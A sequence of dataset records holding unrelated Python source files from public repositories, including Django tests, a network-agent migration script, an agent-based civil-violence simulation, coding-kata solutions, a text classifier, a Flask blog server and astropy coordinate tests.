it.'\n self.course = Course(name=course_name, slug=course_slug)\n self.course.save()\n self.session = Session(course=self.course)\n self.session.save()\n self.assignment = Assignment(session=self.session)\n self.assignment.save()\n self.step = self.assignment.steps.first()\n self.mediaroot = os.path.join(settings.MEDIA_ROOT, 'unittest' + datetime.datetime.now().isoformat())\n with self.settings(MEDIA_ROOT=self.mediaroot):\n self.clarification = Clarification(step=self.step)\n self.clarification.image = SimpleUploadedFile(filename, contents)\n self.clarification.save()\n\n def test_string_representation(self):\n '''The string representation of a clarification is \"Clarification for Step 1\".'''\n\n representation = \"Clarification for Step {}\".format(self.step.number)\n self.assertEqual(str(self.clarification), representation)\n\n def test_write_permissions(self):\n '''The stored file should actually exists on disk, otherwise the media directory probably doesn't have write permissions.'''\n\n path = os.path.join(self.mediaroot, str(self.clarification.image))\n self.assertTrue(os.path.isfile(path))\n\n def tearDown(self):\n shutil.rmtree(self.mediaroot)\n","repo_name":"rtts/autodidact","sub_path":"autodidact/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":16748,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"42908384073","text":"import os\nimport re\nimport yaml\nimport sys\nimport subprocess\n\ncommon_tools = os.path.join(os.path.dirname(os.path.realpath(__file__)) , '..' , 'common')\nsys.path.append(common_tools)\n\nglobals = os.path.join(os.path.dirname(os.path.realpath(__file__)) , '..' , '..')\nsys.path.append(globals)\n\nimport fwglobals\nimport fwutils\n\nfrom fwrouter_cfg import FwRouterCfg\n\ndef _find_primary_ip():\n output = subprocess.check_output('ip route show default', shell=True).strip()\n routes = output.splitlines()\n if routes:\n route = routes[0]\n dev_split = route.split('dev ')\n dev = dev_split[1].split(' ')[0] if len(dev_split) > 1 else ''\n if dev:\n src = subprocess.check_output(\"ip -f inet address show %s | awk '/inet / {print $2}'\" % dev,\n shell=True).strip()\n return src\n\n return ''\n\ndef _find_gateway_ip(pci):\n ip = ''\n ifname = fwutils.pci_to_linux_iface(pci)\n if ifname:\n ip, _ = fwutils.get_interface_gateway(ifname)\n return ip\n\n if not ip:\n ip, _, _ = fwutils.get_default_route()\n return ip\n\n return ''\n\ndef _update_metric():\n metric = 100\n primary_ip = _find_primary_ip()\n\n with FwRouterCfg(\"/etc/flexiwan/agent/.requests.sqlite\") as router_cfg:\n wan_list = router_cfg.get_interfaces(type='wan')\n for wan in wan_list:\n if not 'gateway' in wan:\n gw_ip = _find_gateway_ip(wan['pci'])\n wan['gateway'] = gw_ip\n\n if not 'metric' in wan:\n if not primary_ip:\n primary_ip = wan['addr']\n if primary_ip == wan['addr']:\n wan['metric'] = str(0)\n else:\n wan['metric'] = str(metric)\n metric += 1\n\n new_request = {\n 'message': 'add-interface',\n 'params': wan,\n 'internals': {}\n }\n router_cfg.update(new_request, [], False)\n\ndef migrate(prev_version, new_version, upgrade):\n if upgrade != 'upgrade':\n return\n\n try:\n print(\"* Migrating interface DHCP and Metrics configuration...\")\n _update_metric()\n\n except Exception as e:\n print(\"Migration error: %s : %s\" % (__file__, str(e)))\n\n\nif __name__ == \"__main__\":\n migrate()\n\n\n","repo_name":"maxleaf/flexiagent","sub_path":"tools/migrations/00010_220720_interface_metrics.py","file_name":"00010_220720_interface_metrics.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71377931573","text":"#%%\nimport matplotlib.pyplot as plt\nimport importlib\nimport numpy as np\nimport pandas as pd\nfrom scipy.signal import find_peaks\nimport seaborn as sns\n\nfrom epstein_civil_violence.agent import Citizen, Cop\nfrom epstein_civil_violence.model import EpsteinCivilViolence\n\nimport time\nlegitimacy_kind = np.array([\"Fixed\", \"Global\", \"Local\"]) # choose between \"Fixed\",\"Global\",\"Local\"\nleg = legitimacy_kind = \"Global\"\nsmart_cops = False\ncop_density = .04\n\nn_sim = 5\nmax_iters = 100\nsim_peak = []\nnetworks = [\"Barabasi\", \"Renyi\", \"Small_world\"]\n#for leg in legitimacy_kind:\n\nfor n in range(n_sim):\n #start = time.time()\n model = EpsteinCivilViolence(height=40, \n width=40, \n citizen_density=.7, \n cop_density=cop_density, \n citizen_vision=7, \n cop_vision=7, \n legitimacy=.82, \n max_jail_term=30, \n max_iters=max_iters, # cap the number of steps the model takes\n smart_cops = smart_cops,\n legitimacy_kind = leg, # choose between \"Fixed\",\"Global\",\"Local\"\n max_fighting_time=1,\n network = network,\n\n ) \n model.run_model()\n\n #finish = time.time()\n #print(\"Time =\",finish-start)\n\n model_out = model.datacollector.get_model_vars_dataframe()\n agent_out = model.datacollector.get_agent_vars_dataframe()\n\n model_out.to_csv(f\"CSV_temp/model_temp_{network}_{legitimacy_kind}_{n}.csv\")\n agent_out.to_csv(f\"CSV_temp/agent_temp_{network}_{legitimacy_kind}_{n}.csv\")\n\n\n\n model_out = pd.read_csv(f\"CSV_temp/model_temp_{legitimacy_kind}_{n}.csv\")\n\n #print(model_out[\"Active\"].mean())\n #print(model_out[\"Active\"].std())\n #print(model_out[\"Active\"].max())\n\n peaks= find_peaks(model_out[\"Active\"], height=50)\n #print(\"Indices of peaks:\", peaks, \"Amount:\", len(peaks))\n\n # save number of peaks\n sim_peak.append(len(peaks))\n\"\"\"\n actives_list = model_out[\"Active\"].to_list(len(peaks))\n\n time_between = []\n time = 0\n total_active = 0\n\n count1, count2 = False, False\n for i in range(1,len(actives_list)-1):\n if actives_list[i] < 50 and actives_list[i+1] >= 50:\n count1 = False\n time_between.append(time-1)\n time = 0\n if actives_list[i] >= 50 and actives_list[i+1] < 50:\n count1 = True\n if count1 == True:\n time += 1\n # if actives_list[i] < 50 and actives_list[i+1] >= 50:\n # count2 = True\n # if count2 == True:\n # total_active += actives_list[i+1]\n\n # if actives_list[i] >= 50 and actives_list[i+1] < 50:\n # count1 = False\n # time_between.append(time-1)\n # time = 0\n #print(\"Times of inter-outerbursts\", time_between)\n\"\"\"\nn_quiescent = []\nn_active = []\nn_jailed = []\nn_fighting = []\n\nframes = []\n\nfor n in range(n_sim):\n model_out = pd.read_csv(f\"CSV_temp/model_temp_{legitimacy_kind}_{n}.csv\")\n print(n)\n if n > 0:\n model_out.drop([0])\n frames.append(model_out)\n\n\n # n_quiescent = n_quiescent.append(model_out[\"Quiescent\"][it])\n # n_active = n_active.append(model_out[\"Active\"][it])\n # n_jailed = n_jailed.append(model_out[\"Jailed\"][it])\n # n_fighting = n_fighting.append(model_out[\"Fighting\"][it])\n\n # ax = model_out[[\"Quiescent\",\"Active\", \"Jailed\", \"Fighting\"]].plot()\n # ax.set_title(f'Citizen Condition Over Time - {n}')\n # ax.set_xlabel('Step')\n # ax.set_ylabel('Number of Citizens')\n # _ = ax.legend(bbox_to_anchor=(1.35, 1.025))\n # plt.tight_layout()\n # plt.savefig(f\"figures_normalnet/plot__{legitimacy_kind}_.png\")\n #plt.show()\n\nresult = pd.concat(frames)\nprint(result)\n\n\nsns.lineplot(data=result, x=\"Unnamed: 0\", y=\"Active\")\nsns.lineplot(data=result, x=\"Unnamed: 0\", y=\"Fighting\")\n\n\nplt.show()\n\n #print(agent_out[[\"breed\",\"Legitimacy\"]].filter(like='1040', axis = 0 ).head())\n #print(agent_out[[\"breed\",\"Legitimacy\"]].filter(like='1041', axis = 0 ).head())\n #print(agent_out[[\"breed\",\"Legitimacy\"]].filter(like='1042', axis = 0 ).head())\n\n\n # ax = agent_out[\"Legitimacy\"].filter(like='1040', axis = 0 ).plot()\n # ax.set_title(f'Citizen Condition Over Time - {leg}')\n # ax.set_xlabel('Step')\n # ax.set_ylabel('Number of Citizens')\n # _ = ax.legend(bbox_to_anchor=(1.35, 1.025))\n # plt.tight_layout()\n # plt.savefig(f\"figures_normalnet/legit_{n}_.png\")\n #plt.show()\n\n # single_agent_out = agent_out[single_agent]\n # single_agent_out.head()\n","repo_name":"DCCdelang/ABM","sub_path":"epstein_civil_violence_Normal+Network Grid/Experiments/model_run_experiments.py","file_name":"model_run_experiments.py","file_ext":"py","file_size_in_byte":4689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"6496909915","text":"def caps_lock(text: str) -> str:\n # your code here\n # return \"\".join(fragment.upper() if i%2 == 1 else fragment for i, fragment in enumerate(text.split('a')))\n a = text.split('a')\n print(a)\n for j in range(len(a)):\n print(j%2)\n if j % 2: a[j] = a[j].upper()\n return ''.join(a)\n\n\nif __name__ == '__main__':\n print(\"Example:\")\n print(caps_lock(\"Why are you asking me that?\"))\n\n # These \"asserts\" are used for self-checking and not for an auto-testing\n assert caps_lock(\"Why are you asking me that?\") == \"Why RE YOU sking me thT?\"\n assert caps_lock(\"Always wanted to visit Zambia.\") == \"AlwYS Wnted to visit ZMBI.\"\n print(\"Coding complete? Click 'Check' to earn cool rewards!\")\n","repo_name":"RomanRusyn/SSTests","sub_path":"Scientific Expedition/Caps Lock/mission.py","file_name":"mission.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23362857527","text":"\"\"\"\r\nMultiples excepciones\r\n\"\"\"\r\ndef dividir():\r\n while True:\r\n try:\r\n num1 = float(input(\"Digite un número: \"))\r\n num2 = float(input(\"Digite otro número: \"))\r\n resultado = num1 / num2\r\n print(f\"El resultado de la división es {resultado:.2f}\")\r\n except ValueError:\r\n print(\"Error -> Digite correctamente los números\")\r\n except ZeroDivisionError:\r\n print(\"Error -> No se puede dividir entre 0\")\r\n else:\r\n break\r\ndividir()","repo_name":"Matius2002/Programacion-en-Python","sub_path":"TratamientosExcepciones/EjemploMultiplesExcepciones.py","file_name":"EjemploMultiplesExcepciones.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38708522040","text":"import os\nimport sys\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(BASE_DIR)\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"django_project.settings\")\n\nimport django\n\ndjango.setup()\n\nfrom db_tool.data.topic_data import topic_data\nfrom homes.models import Topic\n\nfor topic in topic_data:\n Topic.objects.create(\n title=topic['title'],\n icon=topic['icon'],\n index=topic['index'],\n url=topic['url']\n )\nprint('topic数据导入完成')\n","repo_name":"midas66/django_project","sub_path":"db_tool/import_topic_data.py","file_name":"import_topic_data.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"39134779448","text":"class Solution:\n def breakPalindrome(self, palindrome: str) -> str:\n \n #Base Case: Any string with a single char is trivially a palindrome, which means it is arbitrarily in the middle.\n if len(palindrome) == 1:\n \n return ''\n \n #For something to be lexographically small (that I googled, must be the from the earliest letter of alphabet aka a)\n #But what about strings full of a's? Then to keep them in the order such that a -> b just make the last char b\n #As for any other string, the first instance of a letter not being a, just make it an a.\n \n \n #For a Python approach, strings are immutable, so in this case let's convert it into a list\n broken = list(palindrome)\n \n #Create a right pointer to check for the middle\n rightPtr = len(broken) - 1\n \n #For each character in the palindrome string\n for i in range(len(broken)):\n \n #Case where changing the middle basically does nothing, we need to skip it\n #This applies to odd number of chars\n if i == rightPtr:\n \n #Skip\n continue\n \n #If it is not an a, set it to an a\n if broken[i] != 'a':\n \n #Make the change\n broken[i] = 'a'\n \n #Return the result\n return ''.join(broken)\n \n #Decrement the right pointer\n rightPtr -= 1\n \n #If the for loop completes, then the string were all a's, set the last char to a b\n broken[len(broken) - 1] = 'b'\n \n #Return the result\n return ''.join(broken)","repo_name":"IzYoBoiJay/LeetCode","sub_path":"1328-break-a-palindrome/1328-break-a-palindrome.py","file_name":"1328-break-a-palindrome.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12409002670","text":"import pandas as pd\nfrom matplotlib import pyplot as plot\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport numpy as np\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import MaxAbsScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom pickle import dump\n\ndata = pd.read_csv(\"dataset/train.csv\")\nunique_labels = data['target'].drop_duplicates()\nsorted_lables = sorted(unique_labels)\nprint(\"sorted_lables:: \"+str(sorted_lables))\n#%%\ntrain_limit = 5000\ntest_limit = train_limit + 1\ntrain_data = data[:train_limit]\ntest_data = data[test_limit:]\nprint(\"train_data.shape:: \"+str(train_data.shape))\nprint(\"test_data.shape:: \"+str(test_data.shape))\n\ntarget_labels = train_data['target']\nplot.hist(target_labels)\nplot.xticks(sorted_lables, sorted_lables);\nplot.show()\n\ntarget_labels = test_data['target']\nplot.hist(target_labels)\nplot.xticks(sorted_lables, sorted_lables);\nplot.show()\n#%%\ntfidf = TfidfVectorizer(lowercase=False, analyzer='char', ngram_range=(1,5), max_features=20000)\ntrain_data_features = tfidf.fit_transform(train_data['ciphertext'])\n\ntrain_data_x = train_data_features.tocsr()\n\ntest_data_features = tfidf.transform(test_data['ciphertext'])\n\ntest_data_x = test_data_features.tocsr()\n\n#%%\nmodel = Pipeline(memory=None, steps=[\n ('scaler', MaxAbsScaler(copy=False)),\n ('clf', LogisticRegression(multi_class='multinomial', verbose=2, n_jobs=-1))\n ])\n\nmodel.fit(train_data_x, train_data['target'])\n#%%\n\n# model.save_model(\"ciphertext_model.json\")\ndump(tfidf, open('tfidf.pkl', 'wb'))\ndump(model, open('ciphertext_model.pkl', 'wb'))\n#%%\n","repo_name":"kashyaprsuhas/newsgroup-ciphertext","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6711967343","text":"#!/usr/bin/env python\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom sys import stderr\n\n\ndef get_csv(smiles):\n \"\"\"Obtém o nome e o path do arquivo csv gerado pelo smiles\"\"\"\n try:\n path = ''\n invalids = []\n url = f\"https://admetmesh.scbdd.com/service/screening/cal\"\n client = requests.session()\n client.get(url=url, timeout=10)\n csrftoken = client.cookies[\"csrftoken\"]\n payload = {\n \"csrfmiddlewaretoken\": csrftoken,\n \"smiles-list\": smiles,\n \"method\": \"2\"\n }\n\n r = client.post(url, data=payload, headers=dict(Referer=url))\n soup = BeautifulSoup(r.content, \"html.parser\")\n all_invalid = soup.find_all(class_=\"alert alert-warning\")\n tags = soup.find_all(\"li\", class_=\"list-group-item text-center\")\n for invalid in tags:\n invalids.append(invalid.text)\n for a in soup.find_all('a', href=True):\n if '/tmp' in a['href']:\n path = a['href']\n csv = path.split('/')\n csv = csv[-1]\n return path, csv, invalids, all_invalid\n except UnboundLocalError:\n return 0\n\n\ndef download_admet(smiles, append=False, filename=None, err_file=None, smiles_err=True, to_stdout=False, header=False,\n csv=False, arg_prefix='', prefix_list=None):\n \"\"\"Faz o download da análise admet a partir do nome obtido de acordo com o smiles e cria com filename ou imprime\n no stdout\"\"\"\n\n if prefix_list:\n if len(prefix_list) != len(smiles):\n print('Prefix list and Smiles List have different lengths. They must be the same', file=stderr)\n exit(1)\n\n header = False\n\n path, admet, invalids, all_invalid = get_csv(''.join(['\\r\\n'.join(smiles), '\\r\\n']))\n \n if admet == 0 or all_invalid:\n print(\"Smiles could not be found or don't exist\", file=stderr)\n else:\n if len(invalids) != 0:\n err_msg = f\"You submitted {len(invalids)} lines with invalid smiles:\\n\"\n\n for invalid in invalids:\n i = 0\n # Find the corresponding line on prefix_list\n while i < len(prefix_list):\n if invalid == smiles[i]:\n break\n i += 1\n\n if len(prefix_list) != 0:\n err_msg = f\"{err_msg}{prefix_list[i]}{invalid}\\n\"\n del prefix_list[i]\n else:\n err_msg = f\"{err_msg}{invalid}\\n\"\n \n del smiles[i]\n\n if smiles_err:\n print(err_msg, file=stderr)\n\n if err_file:\n with open(err_file, 'w') as err:\n err.write(err_msg)\n\n text_list = requests.get(f\"https://admetmesh.scbdd.com{path}\").text.split('\\n')\n\n if csv:\n delimiter = ','\n else:\n delimiter = '\\t'\n\n iterator = 1\n while iterator < len(text_list):\n if not text_list[iterator]:\n del text_list[iterator]\n continue\n\n text_list[iterator] = text_list[iterator][text_list[iterator].find(',') + 1:]\n if not csv:\n text_list[iterator] = text_list[iterator].replace(',', '\\t')\n\n iterator += 1\n\n content = text_list[1:]\n\n for i in range(len(content)):\n if prefix_list:\n content[i] = f\"{arg_prefix}{prefix_list[i]}{smiles[i]}{delimiter}{content[i]}\"\n elif arg_prefix != '':\n content[i] = f\"{arg_prefix}{smiles[i]}{delimiter}{content[i]}\"\n else:\n content[i] = f\"{smiles[i]}{delimiter}{content[i]}\"\n\n if header:\n if csv:\n header_line = text_list[0]\n else:\n header_line = text_list[0].replace(',', '\\t')\n\n if arg_prefix:\n header_line = f\"{arg_prefix}{header_line}\"\n\n content = ''.join([header_line, '\\n', '\\n'.join(content), '\\n'])\n\n else:\n content = ''.join(['\\n'.join(content), '\\n'])\n\n if append:\n mode = 'a'\n else:\n mode = 'w'\n\n if to_stdout:\n from sys import stdout\n print(content, file=stdout)\n\n if filename is not None:\n with open(filename, mode) as file:\n file.write(content)\n else:\n from random import randint\n with open(f'admetlab2_script_result_{randint(1, 1000000000000000)}.{\"csv\" if csv else \"tsv\"}',\n mode) as file:\n file.write(content)\n\n if not to_stdout:\n print('Download complete')\n","repo_name":"kdunorat/lambda","sub_path":"admetmesh.py","file_name":"admetmesh.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71842816053","text":"#########################################################\n# ARQUIVO COM O CODIGO DE CALCULO DA NOTA #\n#########################################################\n\n\n# calcula a nota comparando o gabarito com as respostas do aluno\n# caso o gabarito nao tenha questao preenchida, calcula a nota em cima das questoes validas\n# caso o aluno nao tenha preenchido, zera a questao\n\n\nfrom numpy.lib.function_base import append\n\n\ndef calculaNota(gabarito, respostas):\n\n if len(gabarito) != len(respostas):\n print(\"Erro: os vetores resposta e gabarito possuem tamanhos diferentes\")\n return 300\n\n qtd_corretas = 0\n corretas = []\n\n qtd_erradas = 0\n erradas = []\n\n qtd_questoes_validas_gabarito = 50\n nulas = []\n marcas_duplas = []\n\n index = 1\n\n for i in range(0, 50):\n\n # se a resposta for igual a do gabarito\n if respostas[i] == gabarito[i] and gabarito[i] != -1:\n qtd_corretas += 1\n corretas.append(index)\n\n # se o gabarito nao estiver assinalado naquela i\n elif respostas[i] != gabarito[i]:\n if gabarito[i] == -1:\n qtd_questoes_validas_gabarito -= 1\n nulas.append(index)\n\n elif gabarito[i] == -2:\n qtd_questoes_validas_gabarito -= 1\n nulas.append(index)\n\n elif respostas[i] == -2:\n qtd_erradas += 1\n marcas_duplas.append(index)\n\n else:\n qtd_erradas += 1\n erradas.append(index)\n\n index += 1\n # calcula a nota do aluno\n nota = (qtd_corretas/qtd_questoes_validas_gabarito) * 100\n\n return nota, qtd_corretas, qtd_erradas, corretas, erradas, nulas, marcas_duplas\n","repo_name":"akastark/OMR","sub_path":"codigo/calculos_notas.py","file_name":"calculos_notas.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71162108213","text":"import sys\nisDebug = True if sys.gettrace() else False\n\nfrom flask import Flask\nfrom src.routefun import CustomRoute\nimport src.myglobal as Global\nfrom gevent import pywsgi\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\n# from flask_cors import CORS\n\napp = Flask(__name__)\n# CORS(app, resources=r'/*')\nlimiter = Limiter(\n app,\n key_func=get_remote_address, \n default_limits=[\"20000 per day\"]\n)\n\n@limiter.limit(\"3 per minute\")\ndef test():\n return CustomRoute.hello_world()\n\nif __name__ == \"__main__\":\n app.add_url_rule('/hello',view_func=test,methods=['POST',\"GET\"])\n app.add_url_rule('/api/getArticleList',view_func=CustomRoute.GetArticleList,methods=['POST', \"GET\"])\n app.add_url_rule('/api/getArticleDetail',view_func=CustomRoute.getArticleDetail,methods=['POST',\"GET\", \"OPTIONS\"])\n app.add_url_rule('/api/getTagList',view_func=CustomRoute.GetTagList,methods=['POST',\"GET\"])\n app.add_url_rule('/api/styletransfer',view_func=CustomRoute.StyleTransfer,methods=['POST',\"GET\"])\n\n app.add_url_rule('/api/uploadfile',view_func=CustomRoute.upload,methods=['POST',\"GET\"])\n app.add_url_rule('/img/',view_func=CustomRoute.GetPicture,methods=[\"GET\"])\n app.add_url_rule('/img//',view_func=CustomRoute.GetDatePicture,methods=[\"GET\"])\n\n if(not isDebug):\n from gevent import monkey\n monkey.patch_all()\n server = pywsgi.WSGIServer((Global.config[\"http_server\"][\"ip\"],Global.config[\"http_server\"][\"port\"]), app)\n server.serve_forever()\n else:\n app.run(Global.config[\"http_server\"][\"ip\"],Global.config[\"http_server\"][\"port\"])","repo_name":"BestUO/blog","sub_path":"back/blogserver.py","file_name":"blogserver.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41196416964","text":"#-------------------------------------------------------------------------------\n# \n#-------------------------------------------------------------------------------\n# By Will Shin\n#\n#-------------------------------------------------------------------------------\n# LeetCode prompt\n#-------------------------------------------------------------------------------\n\n\"\"\"\nSay you have an array prices for which the ith element is the price of a given stock on day i.\n\nDesign an algorithm to find the maximum profit. You may complete as many transactions as you like (i.e., buy one and sell one share of the stock multiple times).\n\nNote: You may not engage in multiple transactions at the same time (i.e., you must sell the stock before you buy again).\n\nExample 1:\n\nInput: [7,1,5,3,6,4]\nOutput: 7\nExplanation: Buy on day 2 (price = 1) and sell on day 3 (price = 5), profit = 5-1 = 4.\n Then buy on day 4 (price = 3) and sell on day 5 (price = 6), profit = 6-3 = 3.\nExample 2:\n\nInput: [1,2,3,4,5]\nOutput: 4\nExplanation: Buy on day 1 (price = 1) and sell on day 5 (price = 5), profit = 5-1 = 4.\n Note that you cannot buy on day 1, buy on day 2 and sell them later, as you are\n engaging multiple transactions at the same time. You must sell before buying again.\nExample 3:\n\nInput: [7,6,4,3,1]\nOutput: 0\nExplanation: In this case, no transaction is done, i.e. max profit = 0.\n\n\n1 <= prices.length <= 3 * 10 ^ 4\n0 <= prices[i] <= 10 ^ 4\n\"\"\"\n\n#-------------------------------------------------------------------------------\n# Approach\n#-------------------------------------------------------------------------------\n\n\"\"\"\n\n What are some ways that we can do this?\n\n we can calculate the min-max, the number of peaks, or we can take little steps at a time\n\n since we have an unlimited number of transactions, everytime something goes up, then we can make a transaction\n\n so our condition becomes very simple: \n\n If our current value is more than the previous value, then we add the difference to the sum/total profit. \n\"\"\"\n\n#-------------------------------------------------------------------------------\n# Solution\n#-------------------------------------------------------------------------------\n\ndef my_maxProfit(prices):\n sum_to_return = 0\n prev_val = prices[0]\n for index in range(1,len(prices)):\n current_val = prices[index]\n if prev_val < current_val:\n sum_to_return += current_val - prev_val\n prev_val = current_val\n\n return(sum_to_return)\n\n#-------------------------------------------------------------------------------\n# Main Leetcode Input Driver\n#-------------------------------------------------------------------------------\nclass Solution:\n def maxProfit(self, prices):\n return my_maxProfit(prices)\n\n\n#-------------------------------------------------------------------------------\n# Unit Test\n#-------------------------------------------------------------------------------\n\nimport unittest\n\nclass TestSolution(unittest.TestCase):\n\n def test_1(self):\n input = [7, 1, 5, 3, 6, 4]\n ans = 7\n self.assertEqual(Solution().maxProfit(input), ans)\n\n def test_2(self):\n input = [1, 2, 3, 4, 5]\n ans = 4 \n self.assertEqual(Solution().maxProfit(input), ans)\n\n def test_3(self):\n input = [7, 6, 4, 3, 1]\n ans = 0 \n self.assertEqual(Solution().maxProfit(input), ans)\n\nunittest.main()\n","repo_name":"Shinnnyshinshin/LeetCode","sub_path":"122_BuySellStockII.py","file_name":"122_BuySellStockII.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18587542541","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\n\"\"\"\nTests for miscellaneous functionality in the `funcs` module\n\"\"\"\n\n\nimport numpy as np\nimport pytest\nfrom numpy import testing as npt\n\nfrom astropy import units as u\nfrom astropy.coordinates import FK5, ICRS, SkyCoord\nfrom astropy.coordinates import representation as r\nfrom astropy.coordinates.funcs import (\n concatenate,\n concatenate_representations,\n get_constellation,\n get_sun,\n)\nfrom astropy.time import Time\n\nCARTESIAN_POS = r.CartesianRepresentation([1, 2, 3] * u.kpc)\nCARTESIAN_VEL = r.CartesianDifferential([8, 9, 10] * u.km / u.s)\nCARTESIAN_POS_AND_VEL = CARTESIAN_POS.with_differentials(CARTESIAN_VEL)\n\nRADIAL_VEL = r.RadialDifferential(1 * u.km / u.s)\nSPHERICAL_COS_LAT_VEL = r.SphericalCosLatDifferential(\n 1 * u.mas / u.yr, 2 * u.mas / u.yr, 3 * u.km / u.s\n)\nSPHERICAL_POS = r.SphericalRepresentation(\n lon=1 * u.deg, lat=2.0 * u.deg, distance=10 * u.pc\n)\nUNIT_SPHERICAL_POS = r.UnitSphericalRepresentation(lon=1 * u.deg, lat=2.0 * u.deg)\nCARTESIAN_POS_2D_ARR = r.CartesianRepresentation(np.ones((3, 100)) * u.kpc)\nCARTESIAN_POS_3D_ARR = r.CartesianRepresentation(np.ones((3, 16, 8)) * u.kpc)\nUNIT_SPHERICAL_COS_LAT_VEL = r.UnitSphericalCosLatDifferential(\n 1 * u.mas / u.yr, 2 * u.mas / u.yr\n)\nCARTESIAN_VEL_2D_ARR = r.CartesianDifferential(*np.ones((3, 100)) * u.km / u.s)\nCARTESIAN_VEL_3D_ARR = r.CartesianDifferential(*np.ones((3, 16, 8)) * u.km / u.s)\n\n\ndef test_sun():\n \"\"\"\n Test that `get_sun` works and it behaves roughly as it should (in GCRS)\n \"\"\"\n\n northern_summer_solstice = Time(\"2010-6-21\")\n northern_winter_solstice = Time(\"2010-12-21\")\n equinox_1 = Time(\"2010-3-21\")\n equinox_2 = Time(\"2010-9-21\")\n\n gcrs1 = get_sun(equinox_1)\n assert np.abs(gcrs1.dec.deg) < 1\n\n gcrs2 = get_sun(\n Time([northern_summer_solstice, equinox_2, northern_winter_solstice])\n )\n assert np.all(np.abs(gcrs2.dec - [23.5, 0, -23.5] * u.deg) < 1 * u.deg)\n\n\ndef test_constellations(recwarn):\n inuma = ICRS(9 * u.hour, 65 * u.deg)\n\n n_prewarn = len(recwarn)\n res = get_constellation(inuma)\n res_short = get_constellation(inuma, short_name=True)\n assert len(recwarn) == n_prewarn # neither version should not make warnings\n\n assert res == \"Ursa Major\"\n assert res_short == \"UMa\"\n assert isinstance(res, str) or getattr(res, \"shape\", None) == tuple()\n\n # these are taken from the ReadMe for Roman 1987\n ras = [9, 23.5, 5.12, 9.4555, 12.8888, 15.6687, 19, 6.2222]\n decs = [65, -20, 9.12, -19.9, 22, -12.1234, -40, -81.1234]\n shortnames = [\"UMa\", \"Aqr\", \"Ori\", \"Hya\", \"Com\", \"Lib\", \"CrA\", \"Men\"]\n\n testcoos = FK5(ras * u.hour, decs * u.deg, equinox=\"B1950\")\n npt.assert_equal(get_constellation(testcoos, short_name=True), shortnames)\n\n # test on a SkyCoord, *and* test Boötes, which is special in that it has a\n # non-ASCII character\n boores = get_constellation(SkyCoord(15 * u.hour, 30 * u.deg, frame=\"icrs\"))\n assert boores == \"Boötes\"\n assert isinstance(boores, str) or getattr(boores, \"shape\", None) == tuple()\n\n\n@pytest.mark.xfail\ndef test_constellation_edge_cases():\n # Test edge cases close to borders, using B1875.0 coordinates\n # Look for HMS / DMS roundoff-to-decimal issues from Roman (1987) data,\n # and misuse of PrecessedGeocentric, as documented in\n # https://github.com/astropy/astropy/issues/9855\n # Define eight test points.\n # The first four cross the boundary at 06h14m30 == 6.2416666666666... hours\n # with Monoceros on the west side of Orion at Dec +3.0.\n ras = [6.24100, 6.24160, 6.24166, 6.24171]\n # aka ['6h14m27.6s' '6h14m29.76s' '6h14m29.976s' '6h14m30.156s']\n\n decs = [3.0, 3.0, 3.0, 3.0]\n\n # Correct constellations for given RA/Dec coordinates\n shortnames = [\"Ori\", \"Ori\", \"Ori\", \"Mon\"]\n\n # The second four sample northward along RA 22 hours, crossing the boundary\n # at 86° 10' == 86.1666... degrees between Cepheus and Ursa Minor\n decs += [86.16, 86.1666, 86.16668, 86.1668]\n ras += [22.0, 22.0, 22.0, 22.0]\n shortnames += [\"Cep\", \"Cep\", \"Umi\", \"Umi\"]\n\n testcoos = FK5(ras * u.hour, decs * u.deg, equinox=\"B1875\")\n npt.assert_equal(\n get_constellation(testcoos, short_name=True),\n shortnames,\n \"get_constellation() error: misusing Roman approximations, vs IAU boundaries\"\n \" from Delporte?\",\n )\n\n # TODO: When that's fixed, add other tests with coords that are in different constellations\n # depending on equinox\n\n\ndef test_concatenate():\n # Just positions\n fk5 = FK5(1 * u.deg, 2 * u.deg)\n sc = SkyCoord(3 * u.deg, 4 * u.deg, frame=\"fk5\")\n\n res = concatenate([fk5, sc])\n np.testing.assert_allclose(res.ra, [1, 3] * u.deg)\n np.testing.assert_allclose(res.dec, [2, 4] * u.deg)\n\n with pytest.raises(TypeError):\n concatenate(fk5)\n\n with pytest.raises(TypeError):\n concatenate(1 * u.deg)\n\n # positions and velocities\n fr = ICRS(\n ra=10 * u.deg,\n dec=11.0 * u.deg,\n 